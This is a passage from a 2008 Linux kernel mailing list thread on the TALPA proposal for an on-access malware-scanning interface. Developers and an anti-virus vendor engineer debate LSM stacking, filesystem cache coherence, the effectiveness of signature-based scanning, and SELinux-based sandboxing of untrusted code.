> does inbound it will get hairy.

Once again, these points apply equally to files as they do to packets.

-- 
paul moore
linux @ hp

Re: [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Casey Schaufler]

Paul Moore wrote:
> With multiple security markings on an entity then you have to decide if 
> you want to consider every marking at each LSM instance, or a subset.  
> The complexity in this case does go up dramatically, but I think the 
> key point for our discussion is that it doesn't matter if the entity is 
> a file or a packet.
>
>   

Perhaps you're right. I'm thinking in terms of the notion that each
LSM can have an independent file system attribute, but if they all
want to use IP options we're talking about a very limited resource.
No real biggie, I mostly wanted to point out that there's more to
stacking than fetching multiple xattrs.

Re: [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Greg KH]

On Tue, Aug 05, 2008 at 11:01:59AM +0800, Cliffe wrote:
> If we had stackable LSMs then the required functionality could simply be 
> built into the LSM interface. Then the anti-malware would simply stack 
> itself with other LSMs.

Could it really?  How would such an interface work?

Remember, the big issue here isn't the kernel "hooks", but the fact that
a lot of people are yet to be convinced that something like this needs
to be within the kernel itself.

Perhaps we should dig up the proposals for the filesystem-notify type
patches, something like that might be all the majority of the virus
people need, as they want to just scan things for Windows viruses, not
Linux ones, and to do so "lazily" might be sufficient.

thanks,

greg k-h

Re: [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Cliffe]

Greg KH wrote:
> On Tue, Aug 05, 2008 at 11:01:59AM +0800, Cliffe wrote:
>   
>> If we had stackable LSMs then the required functionality could simply be 
>> built into the LSM interface. Then the anti-malware would simply stack 
>> itself with other LSMs.
>>     
>
> Could it really?  How would such an interface work?
>
> Remember, the big issue here isn't the kernel "hooks", but the fact that
> a lot of people are yet to be convinced that something like this needs
> to be within the kernel itself.
>
> Perhaps we should dig up the proposals for the filesystem-notify type
> patches, something like that might be all the majority of the virus
> people need, as they want to just scan things for Windows viruses, not
> Linux ones, and to do so "lazily" might be sufficient.
>   
 From memory Dazuko is a LSM designed for this purpose, although it 
cannot be used on systems running other LSMs due to the lack of stacking 
support. It is used by a bunch of anti-malware programs including ClamAV 
and AVG.

Re: [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Peter Dolding]

On Tue, Aug 5, 2008 at 1:58 PM, Cliffe <cliffe@ii.net> wrote:
> Greg KH wrote:
>>
>> On Tue, Aug 05, 2008 at 11:01:59AM +0800, Cliffe wrote:
>>
>>>
>>> If we had stackable LSMs then the required functionality could simply be
>>> built into the LSM interface. Then the anti-malware would simply stack
>>> itself with other LSMs.
>>>
>>
>> Could it really?  How would such an interface work?
>>
>> Remember, the big issue here isn't the kernel "hooks", but the fact that
>> a lot of people are yet to be convinced that something like this needs
>> to be within the kernel itself.
>>
>> Perhaps we should dig up the proposals for the filesystem-notify type
>> patches, something like that might be all the majority of the virus
>> people need, as they want to just scan things for Windows viruses, not
>> Linux ones, and to do so "lazily" might be sufficient.
>>
>
> From memory Dazuko is a LSM designed for this purpose, although it cannot be
> used on systems running other LSMs due to the lack of stacking support. It
> is used by a bunch of anti-malware programs including ClamAV and AVG.

Sorry to say stacking support really does need to be taken with a grain of salt.

Deeper the stack worse the issue of creating system lag.

Anti-malware stacking into LSM adding there own hooks need to be
looked at as more of a problem than a solution.

Lets take a simple example of Dazuko.   It catches all filesystem
accesses and can alter them.   Side effect all protected documents by
the LSM could end up going threw Dazuko so if a flaw is in the anti
virus that can be exploited straight up complete system exposed.

So really LSM stacking is not the correct solution.   More correct
solution would be list out what features malware and virus scanners
need and extend LSM interfaces so the main LSM could control where the
antivirus/malware scanner was accessing.  Yes there are times you
don't want virus scanners or malware scanners seeing everything.

Containers is another issue around stacking.   Containers being added
to Linux are providing more and more controls.  Currently LSM's are
independent to this.   People have responded that it is light weight
virtualisation so dones not need the need to run a different LSM
secuirty construct inside a container.   Its that it is
virtualistation is why it kinda need to.

Now any stacking design of LSM's have to take into account the needs
of containers.

Of course prefered is no stacking for containers and some form of
cross LSM mapping.  Like prime kernel LSM being selinux,  OS contained
being smack so smack secuirty files coveted to selinux with host OS's
limitations applied so container maintains its secuirty.

Same could be applied to chroot's.   This is a common over site of the
current LSM model.   chroot or containers running different
distrobution inside there is no preformated  way of picking up the
secuirty.   Note could even be the same distrubtion different version
just at one point of time they changed secuirty systems.  So user is
running a chroot or a container to run a old application that is
needed.  But now its running without secuirty.    This is could become
a major issue in time.

So yes needs of stacking have some major headaches.  Its not just a
malware issue.

Peter Dolding

Re: [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Alan Cox]

> Remember, the big issue here isn't the kernel "hooks", but the fact that
> a lot of people are yet to be convinced that something like this needs
> to be within the kernel itself.

Mostly the same people who said that about LSM I note 8)

> Perhaps we should dig up the proposals for the filesystem-notify type
> patches, something like that might be all the majority of the virus
> people need, as they want to just scan things for Windows viruses, not
> Linux ones, and to do so "lazily" might be sufficient.

The key difference between a lazy scan and an active intervention is tiny
- the ability to block in the security decision to open a file.

Once you have that bit you have the ability to hand the file handle up to
a daemon to chew on and return a status. The same co-incidentally gives
you the hooks for doing various kinds of HSM as you can block an open
while you retrieve the archived content from wherever it was warehoused.

Alan

Re: [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Nick Piggin]

On Tuesday 05 August 2008 07:00, Eric Paris wrote:
> Please contact me privately or (preferably the list) for questions,
> comments, discussions, flames, names, or anything.  I'll do complete
> rewrites of the patches if someone tells me how they don't meet their
> needs or how they can be done better.  I'm here to try to bridge the
> needs (and wants) of the anti-malware vendors with the technical
> realities of the kernel.  So everyone feel free to throw in your two
> cents and I'll try to reconcile it all.  These 5 patches are part 1.
> They give us a working able solution.
>
> >From my point of view patches forthcoming and mentioned below should
>
> help with performance for those who actually have userspace scanners but
> also could presents be implemented using this framework.
>
>
> Background
> ++++++++++
> There is a consensus in the security industry that protecting against
> malicious files (viruses, root kits, spyware, ad-ware, ...) by the way
> of so-called on-access scanning is usable and reasonable approach.
> Currently the Linux kernel does not offer a completely suitable
> interface to implement such security solutions.  Present solutions
> involve overwriting function pointers in the LSM, in filesystem
> operations, in the sycall table, and other fragile hacks.  The purpose
> of this project is to create a fast, clean interface for userspace
> programs to look for malware when files are accessed.  This malware may
> be ultimately intended for this or some other Linux machine or may be
> malware intended to attack a host running a different operating system
> and is merely in transit across the Linux server.  Since there are
> almost an infinite number of ways in which information can enter and
> exit a server it is not seen as reasonable to move these checks to all
> the applications at the boundary (MTA, NFS, CIFS, SSH, rsync, et al.) to
> look for such malware on at the border.
>
> For this Linux kernel interface speed is of particular interest for
> those who have it compiled into the kernel but have no userspace client.
> There must be no measurable performance hit to just compiling this into
> the kernel.
>
> Security vendors, Linux distributors and other interested parties have
> come together on the malware-list mailing list to discuss this problem
> and see if they can work together to propose a solution. During these
> talks couple of requirement sets were posted with the aim of fleshing
> out common needs as a prerequisite of creating an interface prototype.
>
> Collated requirements
> +++++++++++++++++++++

I suspect that what people actually want is a requirement of what it is
they are trying to do. Not a list of demands on the kernel that they think
are needed to implement what they think is the right way to solve some
problem that they define.


> 5. Define which filesystems are cacheable and which are not

This is practically impossible to do completely without rewriting a lot
of code (which will never be accepted). I don't see why it is needed though
as the filesystem cache is supposed to be kept coherent with disk.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[tvrtko.ursulin]

Nick Piggin wrote on 05/08/2008 19:08:05:

> On Tuesday 05 August 2008 07:00, Eric Paris wrote:
> > 5. Define which filesystems are cacheable and which are not
> 
> This is practically impossible to do completely without rewriting a lot
> of code (which will never be accepted). I don't see why it is needed 
though
> as the filesystem cache is supposed to be kept coherent with disk.

Problem is with network filesystems. So could it be a flag somewhere per 
filesystem which would say something like "this filesystem guarantees 
content of a file cannot change without get_write_access or 
file_update_time being called locally"? That doesn't sound like a lot of 
code so what am I missing?

Tvrtko


Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Nick Piggin]

On Wednesday 06 August 2008 19:44, tvrtko.ursulin@sophos.com wrote:
> Nick Piggin wrote on 05/08/2008 19:08:05:
> > On Tuesday 05 August 2008 07:00, Eric Paris wrote:
> > > 5. Define which filesystems are cacheable and which are not
> >
> > This is practically impossible to do completely without rewriting a lot
> > of code (which will never be accepted). I don't see why it is needed
>
> though
>
> > as the filesystem cache is supposed to be kept coherent with disk.
>
> Problem is with network filesystems. So could it be a flag somewhere per
> filesystem which would say something like "this filesystem guarantees
> content of a file cannot change without get_write_access or
> file_update_time being called locally"? That doesn't sound like a lot of
> code so what am I missing?

Maybe... but that's not the same as what requirement 5 calls for.

But depending on exactly what semantics you really call for, it can get
tricky to account for all of pagecache. Writes can happen through page
tables or get_user_pages. True that a process has to at some point have
write permission to the file, but the cache itself could be modified
even after the file is closed and all mmaps disappear.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[tvrtko.ursulin]

Nick Piggin <nickpiggin@yahoo.com.au> wrote on 06/08/2008 12:10:58:

> On Wednesday 06 August 2008 19:44, tvrtko.ursulin@sophos.com wrote:
> > Nick Piggin wrote on 05/08/2008 19:08:05:
> > > On Tuesday 05 August 2008 07:00, Eric Paris wrote:
> > > > 5. Define which filesystems are cacheable and which are not
> > >
> > > This is practically impossible to do completely without rewriting a 
lot
> > > of code (which will never be accepted). I don't see why it is needed
> >
> > though
> >
> > > as the filesystem cache is supposed to be kept coherent with disk.
> >
> > Problem is with network filesystems. So could it be a flag somewhere 
per
> > filesystem which would say something like "this filesystem guarantees
> > content of a file cannot change without get_write_access or
> > file_update_time being called locally"? That doesn't sound like a lot 
of
> > code so what am I missing?
> 
> Maybe... but that's not the same as what requirement 5 calls for.

I see what you mean, it should have been worded better. Nevertheless that 
is what was intended by it - to enable caching only on filesystems where 
it is safe to do so.
 
> But depending on exactly what semantics you really call for, it can get
> tricky to account for all of pagecache. Writes can happen through page
> tables or get_user_pages. True that a process has to at some point have
> write permission to the file, but the cache itself could be modified
> even after the file is closed and all mmaps disappear.

I don't have a very good understanding of the VM subsystem I must admit. 
So in other words with the current kernel file modification time is not 
necessarily correct - it represents when the file was last opened for 
modification, not when it was actually modified? (While those two points 
in time can be arbitrarily separated)

How would I use those methods for file modification? I am curious to make 
a test case..

Tvrtko


Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Nick Piggin]

On Wednesday 06 August 2008 21:29, tvrtko.ursulin@sophos.com wrote:
> Nick Piggin <nickpiggin@yahoo.com.au> wrote on 06/08/2008 12:10:58:

> > > code so what am I missing?
> >
> > Maybe... but that's not the same as what requirement 5 calls for.
>
> I see what you mean, it should have been worded better. Nevertheless that
> is what was intended by it - to enable caching only on filesystems where
> it is safe to do so.

That is exactly what you cannot do. Otherwise you have to rewrite
filesystems not to use the pagecache, and probably have to do disallow
or do some horrible hacks to support mmap.

The requirement you actually intend is more like what you said before,
along the lines of "file can't be changed in given set of circumstances".


> > But depending on exactly what semantics you really call for, it can get
> > tricky to account for all of pagecache. Writes can happen through page
> > tables or get_user_pages. True that a process has to at some point have
> > write permission to the file, but the cache itself could be modified
> > even after the file is closed and all mmaps disappear.
>
> I don't have a very good understanding of the VM subsystem I must admit.
> So in other words with the current kernel file modification time is not
> necessarily correct - it represents when the file was last opened for
> modification, not when it was actually modified? (While those two points
> in time can be arbitrarily separated)

It is a best effort thing. When you start mmapping, that allows
get_user_pages, which in turn may be able to take pages and modify
them at fairly arbitrary points in time.


> How would I use those methods for file modification? I am curious to make
> a test case..

Even just with mmap (we do a much better job of it now, but) you
can probably write to a file after mtime if you write to already
dirty pages.

Re: [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[J. Bruce Fields]

On Mon, Aug 04, 2008 at 05:00:16PM -0400, Eric Paris wrote:
> Please contact me privately or (preferably the list) for questions,
> comments, discussions, flames, names, or anything.  I'll do complete
> rewrites of the patches if someone tells me how they don't meet their
> needs or how they can be done better.  I'm here to try to bridge the
> needs (and wants) of the anti-malware vendors with the technical
> realities of the kernel.  So everyone feel free to throw in your two
> cents and I'll try to reconcile it all.  These 5 patches are part 1.
> They give us a working able solution.
> 
> >From my point of view patches forthcoming and mentioned below should
> help with performance for those who actually have userspace scanners but
> also could presents be implemented using this framework.
> 
> 
> Background
> ++++++++++
> There is a consensus in the security industry that protecting against
> malicious files (viruses, root kits, spyware, ad-ware, ...) by the way
> of so-called on-access scanning is usable and reasonable approach.

Can you point to any helpful explanations of that concensus?

Off-hand it's surprising.  (A defense that depends on cataloging every
possible individual attack sounds difficult!)

--b.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[tvrtko.ursulin]

J. Bruce Fields wrote on 05/08/2008 23:55:24:

> On Mon, Aug 04, 2008 at 05:00:16PM -0400, Eric Paris wrote:
> > Please contact me privately or (preferably the list) for questions,
> > comments, discussions, flames, names, or anything.  I'll do complete
> > rewrites of the patches if someone tells me how they don't meet their
> > needs or how they can be done better.  I'm here to try to bridge the
> > needs (and wants) of the anti-malware vendors with the technical
> > realities of the kernel.  So everyone feel free to throw in your two
> > cents and I'll try to reconcile it all.  These 5 patches are part 1.
> > They give us a working able solution.
> > 
> > >From my point of view patches forthcoming and mentioned below should
> > help with performance for those who actually have userspace scanners 
but
> > also could presents be implemented using this framework.
> > 
> > 
> > Background
> > ++++++++++
> > There is a consensus in the security industry that protecting against
> > malicious files (viruses, root kits, spyware, ad-ware, ...) by the way
> > of so-called on-access scanning is usable and reasonable approach.
> 
> Can you point to any helpful explanations of that concensus?

I can't, but everyone is doing it so that is at least an implied 
consensus.
 
> Off-hand it's surprising.  (A defense that depends on cataloging every
> possible individual attack sounds difficult!)

Maybe it is not how you imagine it? It is not a database of every possible 
individual attack but there are more intelligent methods. But I am not an 
expert in this field to explain it better..

Tvrtko


Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[David Wagner]

Tvrtko wrote:
>J. Bruce Fields wrote on 05/08/2008 23:55:24:
>> On Mon, Aug 04, 2008 at 05:00:16PM -0400, Eric Paris wrote:
>> > There is a consensus in the security industry that protecting against
>> > malicious files (viruses, root kits, spyware, ad-ware, ...) by the way
>> > of so-called on-access scanning is usable and reasonable approach.
>> 
>> Can you point to any helpful explanations of that concensus?
>
>I can't, but everyone is doing it so that is at least an implied 
>consensus.

I don't think there is any such consensus, so I'm not expecting a
technical explanation.  As best as I can tell, the primary explanation
for why so many A/V vendors are doing it seems to be that it's a damn
effective business model, and that may have as much of an effect on its
widespread use as any technical merits or demerits.

Think about it: you get users to buy your A/V, then you tell them
they need to pay a monthly subscription fee to get the latest virus
signatures updates.  It's like crack.  Once you convince IT managers that
"every machine needs to run A/V software", it's basically a guaranteed
revenue stream for the A/V industry.  It's lucrative stuff, so it's no
surprise that the A/V industry is nursing this for as long as it can go.
And on many Microsoft platforms, the level of pain has been high enough
that IT managers are willing to accept anything that reduces the level of
pain even partially, so it's no surprise that A/V is so widely used today.
It doesn't necessarily mean that it's the right way to go for the future,
or that it's the right model for Linux, though.

>> Off-hand it's surprising.  (A defense that depends on cataloging every
>> possible individual attack sounds difficult!)

Of course.  Simple signature-based file-scanning has got deep technical
limitations.  It can detect copycats and script kiddies but you'd be
foolish to rely upon it to detect any kind of sophisticated attack.

Let's put some numbers on it, for real commercial A/V software.
I was at the Usenix Security conference last week, where one group of
researchers presented a paper that included a chart showing how quickly
McAfee A/V was able to detect new malware samples.  The researchers
collected a large set of malware samples, and ran McAfee on it once
a day or so to see how long it took for McAfee's signature database
to be updated so it could detect those malware samples.  As I recall,
the basic stats looked like this: about 30% of zero-day malware samples
were detected on the first day they were released (and 70% weren't).
The median number of days until a new malware sample was detected was
about 40 days.  If you wanted hundreds of days, asymptotically McAfee was
able to detect about 70% of the samples (and 30% were never detected).
I expect the situation to get worse in the future, not better.

And keep in mind it's easy for an attacker to write a polymorphic or
"metamorphic" virus that is basically undetectable with straightforward
signature-based file scanning, so in an arms race the attackers have
most of the advantages.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[James Morris]

On Wed, 6 Aug 2008, David Wagner wrote:

> As I recall, the basic stats looked like this: about 30% of zero-day 
> malware samples
> were detected on the first day they were released (and 70% weren't).
> The median number of days until a new malware sample was detected was
> about 40 days.  If you wanted hundreds of days, asymptotically McAfee was
> able to detect about 70% of the samples (and 30% were never detected).
> I expect the situation to get worse in the future, not better.

This is similar to the stats published by AusCert a couple of years back 
where they claimed that AV software failed to detect 80% of new malware:

<http://www.zdnet.com.au/news/security/soa/Eighty-percent-of-new-malware-defeats-antivirus/0,130061744,139263949,00.htm>

Interestingly, AusCert still describe up-to-date anti-virus software as 
being "essential", per http://www.auscert.org.au/render.html?it=6891

In any case, the above relates to Windows desktops -- we are yet to see 
a rationale for adding AV support to the Linux kernel.


- James
-- 
James Morris
<jmorris@namei.org>

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Alan Cox]

> In any case, the above relates to Windows desktops -- we are yet to see 
> a rationale for adding AV support to the Linux kernel.

s/we/you/

Clearly some people do see a rationale. At least some parts of it also
seem to make sense for picking up stuff in transit and for catching stuff
'in flight' between systems that might be more vulnerable.

It does appear possible to create a meaningful set of functionality for a
subset of the problem space - assuming no local compromise.

	- open for write causes some kind of state transition (even
SELinux label change)
	- last close notifies a userspace tool of some form (be it an
indexer or a scanner or whatever)
	- tool may or may not take some kind of action such as
relabelling.

At that point you can use selinux rules to say things like 'samba cannot
access content in 'change-in-progress' state.

Whether you allow opens to block for a scan really comes down to a risk
tradeoff. The "safe" approach is 'sorry someone has it open for writing
go away'. The lax approach is "yeah whatever, we may be unlucky if
something passes across our file server at the right moment" (allowing
anyone to read change-in-progress files) and somewhere in between is the
"wait a moment while I scan it" case, which reduces the time window of
attack considerably with a very high chance of detection if the attacker
gets it wrong).



Alan

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[tvrtko.ursulin]

David Wagner wrote on 06/08/2008 23:24:01:

First of all you dropped all CC so I only found this by chance.

> Tvrtko wrote:
> >J. Bruce Fields wrote on 05/08/2008 23:55:24:
> >> On Mon, Aug 04, 2008 at 05:00:16PM -0400, Eric Paris wrote:
> >> > There is a consensus in the security industry that protecting 
against
> >> > malicious files (viruses, root kits, spyware, ad-ware, ...) by the 
way
> >> > of so-called on-access scanning is usable and reasonable approach.
> >> 
> >> Can you point to any helpful explanations of that concensus?
> >
> >I can't, but everyone is doing it so that is at least an implied 
> >consensus.
> 
> I don't think there is any such consensus, so I'm not expecting a
> technical explanation.  As best as I can tell, the primary explanation
> for why so many A/V vendors are doing it seems to be that it's a damn
> effective business model, and that may have as much of an effect on its
> widespread use as any technical merits or demerits.
> 
> Think about it: you get users to buy your A/V, then you tell them
> they need to pay a monthly subscription fee to get the latest virus
> signatures updates.  It's like crack.  Once you convince IT managers 
that
> "every machine needs to run A/V software", it's basically a guaranteed
> revenue stream for the A/V industry.  It's lucrative stuff, so it's no
> surprise that the A/V industry is nursing this for as long as it can go.
> And on many Microsoft platforms, the level of pain has been high enough
> that IT managers are willing to accept anything that reduces the level 
of
> pain even partially, so it's no surprise that A/V is so widely used 
today.
> It doesn't necessarily mean that it's the right way to go for the 
future,
> or that it's the right model for Linux, though.

You are entitled to your opinion and I am not in a position to get 
involved into these kinds of discussions.
 
> >> Off-hand it's surprising.  (A defense that depends on cataloging 
every
> >> possible individual attack sounds difficult!)
> 
> Of course.  Simple signature-based file-scanning has got deep technical
> limitations.  It can detect copycats and script kiddies but you'd be
> foolish to rely upon it to detect any kind of sophisticated attack.

So why you deleted my quote where I say signature based detection is not 
all we do?
 
> Let's put some numbers on it, for real commercial A/V software.
> I was at the Usenix Security conference last week, where one group of
> researchers presented a paper that included a chart showing how quickly
> McAfee A/V was able to detect new malware samples.  The researchers
> collected a large set of malware samples, and ran McAfee on it once
> a day or so to see how long it took for McAfee's signature database
> to be updated so it could detect those malware samples.  As I recall,
> the basic stats looked like this: about 30% of zero-day malware samples
> were detected on the first day they were released (and 70% weren't).
> The median number of days until a new malware sample was detected was
> about 40 days.  If you wanted hundreds of days, asymptotically McAfee 
was
> able to detect about 70% of the samples (and 30% were never detected).
> I expect the situation to get worse in the future, not better.

Do you have a link to that paper? It is all about the testing methodology 
and it would be interesting to read how the actually test in more detail. 

To bad they haven't used more than one product. They chose McAfee who, 
with all respect - and I am not representig my company but saying this 
privately, are not known for their swiftest response times. See here: 
http://blogs.pcmag.com/securitywatch/Results-2008q1.htm , they also seem 
to be good but not great in proactive detection.
 
> And keep in mind it's easy for an attacker to write a polymorphic or
> "metamorphic" virus that is basically undetectable with straightforward
> signature-based file scanning, so in an arms race the attackers have
> most of the advantages.

Again this goes back to my quote you deleted. Why is straightforward 
signature-based detection relevant? Who is doing only that today? For 
example please read this: 
http://www.infosectoday.com/Articles/Behavioral_Genotype.htm from where I 
quote:

"""
A good example of this is the Storm worm outbreaks that started in October 
2006 and continued into February 2007. See figure below. There were many 
variants, including Dorf and Dref worms, but one single behavioral 
genotype identity detected nearly 5000 different unique variants. Using 
traditional signature-based techniques, it would have required reactive 
detection, which would have taken a lot of man power and been much less 
effective at stopping the first waves of the threat. 
"""

Tvrtko


Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

Re: [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Andi Kleen]

Eric Paris <eparis@redhat.com> writes:

> 5. Fine-grained caching
> -----------------------
> It is necessary to select which filesystems can be safely cached and
> which must not be. For example it is not a good idea to allow caching of
> network filesystems because their content can be changed invisibly. Disk
> based and some virtual filesystems can be cached safely on the other
> hand.

Actually local disk file systems can be changed invisibly to the VFS too by 
directly writing to the block device. This does not change the
page cache, but the on disk copy and when a page is pruned from
RAM and reloaded VFS will see the new contents without knowing
about any change. How would you stop that in your
proposal? I assume you could always require a special LKM that
forbids block writes for anything mounted, but that has other problems 
too and one wuld need to be extremly careful of holes in
such a protection scheme (e.g. overlapping partitions) 

[haven't read the rest of the proposal]

-Andi

Re: [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Eric Paris]

On Wed, 2008-08-06 at 04:35 +0200, Andi Kleen wrote:
> Eric Paris <eparis@redhat.com> writes:
> 
> > 5. Fine-grained caching
> > -----------------------
> > It is necessary to select which filesystems can be safely cached and
> > which must not be. For example it is not a good idea to allow caching of
> > network filesystems because their content can be changed invisibly. Disk
> > based and some virtual filesystems can be cached safely on the other
> > hand.
> 
> Actually local disk file systems can be changed invisibly to the VFS too by 
> directly writing to the block device. This does not change the
> page cache, but the on disk copy and when a page is pruned from
> RAM and reloaded VFS will see the new contents without knowing
> about any change. How would you stop that in your
> proposal? I assume you could always require a special LKM that
> forbids block writes for anything mounted, but that has other problems 
> too and one wuld need to be extremly careful of holes in
> such a protection scheme (e.g. overlapping partitions) 

I didn't consider it.  Most likely at the end of the day the finding
will be, "if you can write directly to the block device you already won
since there as so many other things you can do to subvert the system."

Admittedly its the first technical point brought up on list that I
didn't consider at all (lots of other things brought up on list that
need more thought that weren't exactly technical details, don't let me
seem like I'm downplaying those)

-Eric

Re: [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Andi Kleen]

> I didn't consider it.  Most likely at the end of the day the finding
> will be, "if you can write directly to the block device you already won
> since there as so many other things you can do to subvert the system."

This means your scheme is not generally supposed to protect against root? 

I assume yes (since I can think of lots of other holes for 
root), but you should state that explicitely in the spec since it
is a major limitation.

On the other hand it will also allow you to optimize significantly:

In particularly it also means that you can trust the permissions
and don't need to check any files which cannot be written by users 
you don't control.

-Andi

Re: [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[David Wagner]

Eric Paris  wrote:
>There is a consensus in the security industry that protecting against
>malicious files (viruses, root kits, spyware, ad-ware, ...) by the way
>of so-called on-access scanning is usable and reasonable approach.

This is at odds with my experience.  Are you sure you've been talking to
the right people?  Is it possible you've only been talking to A/V vendors?
I find it entirely plausible that there is such a consensus among A/V
vendors, but I'm pretty skeptical that the rest of the security community
would make this kind of claim.  What I hear, instead, is quite a bit of
skepticism about the future of A/V.

Here's an experiment for you.  Walk up to a random security expert and
ask them what they think of blacklisting as a foundation for building
secure systems.  Ask them what they think of the future of A/V in security
and whether they think A/V will be of increasing or decreasing relevance
to security in the future.  The answers might be educational.  Actually,
I suspect it's even possible you might find that many knowledgeable A/V
insiders privately share some of these same concerns about the future
of A/V -- look at how pretty much every major A/V vendor out there is
looking to diversify, to expand into other areas of computer security
and compliance, and to move beyond signature-based file scanners.

If you picked a bunch of computer security experts who don't work for an
A/V vendor and asked them what they thought about all this, I suspect
they'd be more likely to line up behind the kinds of comments that Ted
Tso has been posting.  Personally, I think Ted's comments have been
highly constructive, thoughtful, and well worth re-reading.

Re: [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[John Moser]

On Mon, 2008-08-04 at 17:00 -0400, Eric Paris wrote:
> Background
> ++++++++++
> There is a consensus in the security industry that protecting against
> malicious files (viruses, root kits, spyware, ad-ware, ...) by the way
> of so-called on-access scanning is usable and reasonable approach.
> Currently the Linux kernel does not offer a completely suitable
> interface to implement such security solutions.  Present solutions

A long time ago the FUSE developers said something about implementing
write-through stacking for FUSE (i.e. 'sudo fusermount -o allow_other
encfs / /' would allow mounting on /, and encfs could read/write under
its own mount point).

Wouldn't that make more sense?  You could i.e. edit /etc/avfs.conf to
say "scanner=clamscan" "clamscan=/usr/bin/clamscan" and mount avfs
on /...?

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Rob Meijer]

On Fri, August 15, 2008 07:38, david@lang.hm wrote:
> On Thu, 14 Aug 2008, david@lang.hm wrote:
>
>> On Thu, 14 Aug 2008, david@lang.hm wrote:
>>
>>> again, libmalware.so is not referring to any specific body of code,
>>> it's
>>> referring to the concept that the handling of open/mmap/read/etc and
>>> scanning is done via a userspace library rather then by the kernel. if
>>> everyone can agree on that concept then hashing out the details of
>>> _which_
>>> library it gets put in is a smaller detail.
>>
>> one reason to layer scanners is that you could have one that just checks
>> to
>> see if the file was deployed from a OS package, if it was (and still has
>> the
>> same hash as the package manager thinks it should have) it sets a flag
>> that
>> other scanners could look for (if they see it they can skip scanning the
>> file)
>
> actually, instead of trying to have one scanner trust the results of
> another, a better approach would be for libmalware to look for the package
> manager approval and if it finds that it could skip asking the other
> scanners to look at it.

The package manager approach is interesting in that it marks 'trusted',
and is thus permissive rather than restrictive. Maybe it would be possible
to extend on this and simply define a set of currently unprivileged access
as privileged for untrusted applications. That way you could allow
untrusted software to run without risk, even if that untrusted software
turns out to be malware. That is, it may be possible to solve the malware
problem in a much more fundamental way here by just allowing malware to
run without the need to know if it is malware, just by running untrusted
software with reduced privileges.

Rob

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Alan Cox]

> The package manager approach is interesting in that it marks 'trusted',
> and is thus permissive rather than restrictive. Maybe it would be possible
> to extend on this and simply define a set of currently unprivileged access
> as privileged for untrusted applications. That way you could allow
> untrusted software to run without risk, even if that untrusted software
> turns out to be malware. That is, it may be possible to solve the malware
> problem in a much more fundamental way here by just allowing malware to
> run without the need to know if it is malware, just by running untrusted
> software with reduced privileges.
> 

Its called SELinux and SELinux can already do this sort of stuff,
including things like "only rpm may create files you are permitted to
execute"

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Rob Meijer]

On Fri, August 15, 2008 13:02, Alan Cox wrote:
>> The package manager approach is interesting in that it marks 'trusted',
>> and is thus permissive rather than restrictive. Maybe it would be
>> possible
>> to extend on this and simply define a set of currently unprivileged
>> access
>> as privileged for untrusted applications. That way you could allow
>> untrusted software to run without risk, even if that untrusted software
>> turns out to be malware. That is, it may be possible to solve the
>> malware
>> problem in a much more fundamental way here by just allowing malware to
>> run without the need to know if it is malware, just by running untrusted
>> software with reduced privileges.
>>
>
> Its called SELinux and SELinux can already do this sort of stuff,
> including things like "only rpm may create files you are permitted to
> execute"

This "permitted to execute" is what I feel is the wrong aproach with
respect to malware. If you simply allow everything to 'execute', I think
that untrusted programs may still be used for usefull things, but without
the potential do do malice. If you start from the point where everything
both trusted and untrusted  is permitted to be executed, you could make it
the job of SELinux or any other LSM to make untrusted code run without
doing malice, but with the possibility to still run and do usefull non
malicious  stuff. This might require some aditional hooks in LSM though I
could imagine.

To take this one step further, it might be usefull to see what kernel/LSM
changes would be needed to allow SELinux and/or possibly better yet,
AppArmor, to work with some powerbox style UI component in order to both
allow and force untrusted programs to run with least authority and still
do usefull stuff.

I feel the Polaris/Capdesk/Plash approach to untrusted code is much more
prommising than the "don't run" approach used by regular AV products.
Making such an approach integrate with LSM's would IMHO be a much more
fundamental approach to malware.

Rob

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Fri, Aug 15, 2008 at 10:22 PM, Rob Meijer <capibara@xs4all.nl> wrote:
> On Fri, August 15, 2008 13:02, Alan Cox wrote:
>>> The package manager approach is interesting in that it marks 'trusted',
>>> and is thus permissive rather than restrictive. Maybe it would be
>>> possible
>>> to extend on this and simply define a set of currently unprivileged
>>> access
>>> as privileged for untrusted applications. That way you could allow
>>> untrusted software to run without risk, even if that untrusted software
